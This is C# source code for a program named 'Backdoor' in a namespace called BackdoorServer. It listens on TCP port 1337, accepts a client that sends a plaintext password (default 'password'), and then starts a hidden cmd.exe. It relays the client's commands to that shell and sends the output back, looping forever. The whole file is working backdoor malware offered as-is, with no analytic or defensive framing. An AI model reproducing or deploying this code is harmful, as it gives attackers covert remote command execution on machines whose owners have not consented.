Remote Shell

using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;

namespace BackdoorServer
{
    public class Backdoor
    {
        private TcpListener listener;
        private Socket mainSocket;
        private int port;
        private String name;
        private String password;
        private bool verbose = true;
        private Process shell;
        private StreamReader fromShell;
        private StreamWriter toShell;
        private StreamReader inStream;
        private StreamWriter outStream;
        private Thread shellThread;

        private static int DEFAULT_PORT = 1337;
        private static String DEFAULT_NAME = "Server";
        private static String DEFAULT_PASS = "password";

        public Backdoor()
        {
            port = DEFAULT_PORT;
            name = DEFAULT_NAME;
            password = DEFAULT_PASS;
        }

        public Backdoor(int p)
        {
            port = p;
            name = DEFAULT_NAME;
            password = DEFAULT_PASS;
        }

        public Backdoor(int p, String n)
        {
            port = p;
            name = n;
            password = DEFAULT_PASS;
        }

        public Backdoor(int p, String n, String pass)
        {
            port = p;
            name = n;
            password = pass;
        }
        public Backdoor(int p, String n, String pass, bool verb)
        {
            port = p;
            name = n;
            password = pass;
            verbose = verb;
        }

        public void startServer()
        {
            try
            {
                if (verbose)
                    Console.WriteLine("Listening on port " + port);


                listener = new TcpListener(port);
                listener.Start();
                mainSocket = listener.AcceptSocket();

                if (verbose)
                    Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);

                Stream s = new NetworkStream(mainSocket);
                inStream = new StreamReader(s);
                outStream = new StreamWriter(s);
                outStream.AutoFlush = true;

                String checkPass = inStream.ReadLine();

                if (verbose)
                    Console.WriteLine("Client tried password " + checkPass);

                if (!checkPass.Equals(password))
                {
                    if (verbose)
                        Console.WriteLine("Incorrect Password");
                    badPass();
                    return;
                }

                if (verbose)
                    Console.WriteLine("Password Accepted.");

                shell = new Process();
                ProcessStartInfo p = new ProcessStartInfo("cmd");
                p.CreateNoWindow = true;
                p.UseShellExecute = false;
                p.RedirectStandardError = true;
                p.RedirectStandardInput = true;
                p.RedirectStandardOutput = true;
                shell.StartInfo = p;
                shell.Start();
                toShell = shell.StandardInput;
                fromShell = shell.StandardOutput;
                toShell.AutoFlush = true;
                shellThread = new Thread(new ThreadStart(getShellInput));
                shellThread.Start();
                outStream.WriteLine("Welcome to " + name + " backdoor server.");
                outStream.WriteLine("Starting shell...\n");
                getInput();
                dropConnection();

            }
            catch (Exception) { dropConnection(); }
        }


        void getShellInput()
        {
            try
            {
                String tempBuf = "";
                outStream.WriteLine("\r\n");
                while ((tempBuf = fromShell.ReadLine()) != null)
                {
                    outStream.WriteLine(tempBuf + "\r");
                }
                dropConnection();
            }
            catch (Exception) { /*dropConnection();*/ }
        }

        private void getInput()
        {
            try
            {
                String tempBuff = "";
                while (((tempBuff = inStream.ReadLine()) != null))
                {
                    if (verbose)
                        Console.WriteLine("Received command: " + tempBuff);
                    handleCommand(tempBuff);
                }
            }
            catch (Exception) { }
        }

        private void handleCommand(String com)
        {
            try
            {
                if (com.Equals("exit"))
                {
                    outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
                    dropConnection();
                }
                toShell.WriteLine(com + "\r\n");
            }
            catch (Exception) { dropConnection(); }
        }


        private void badPass()
        {
            inStream.Dispose();
            outStream.Dispose();
            mainSocket.Close();
            listener.Stop();
            return;
        }
        private void dropConnection()
        {
            try
            {
                if (verbose)
                    Console.WriteLine("Dropping Connection");
                shell.Close();
                shell.Dispose();
                shellThread.Abort();
                shellThread = null;
                inStream.Dispose();
                outStream.Dispose();
                toShell.Dispose();
                fromShell.Dispose();
                shell.Dispose();
                mainSocket.Close();
                listener.Stop();
                return;
            }
            catch (Exception) { }
        }
        static void Main(string[] args)
        {
            try
            {
                Backdoor bd = new Backdoor();
                if (args.Length == 1)
                    bd = new Backdoor(int.Parse(args[0]));
                if (args.Length == 2)
                    bd = new Backdoor(int.Parse(args[0]), args[1]);
                if (args.Length == 3)
                    bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
                else if (args.Length == 4)
                    bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
                while (true)
                {
                    bd.startServer();
                }
            }
            catch (Exception) { }

        }
    }
}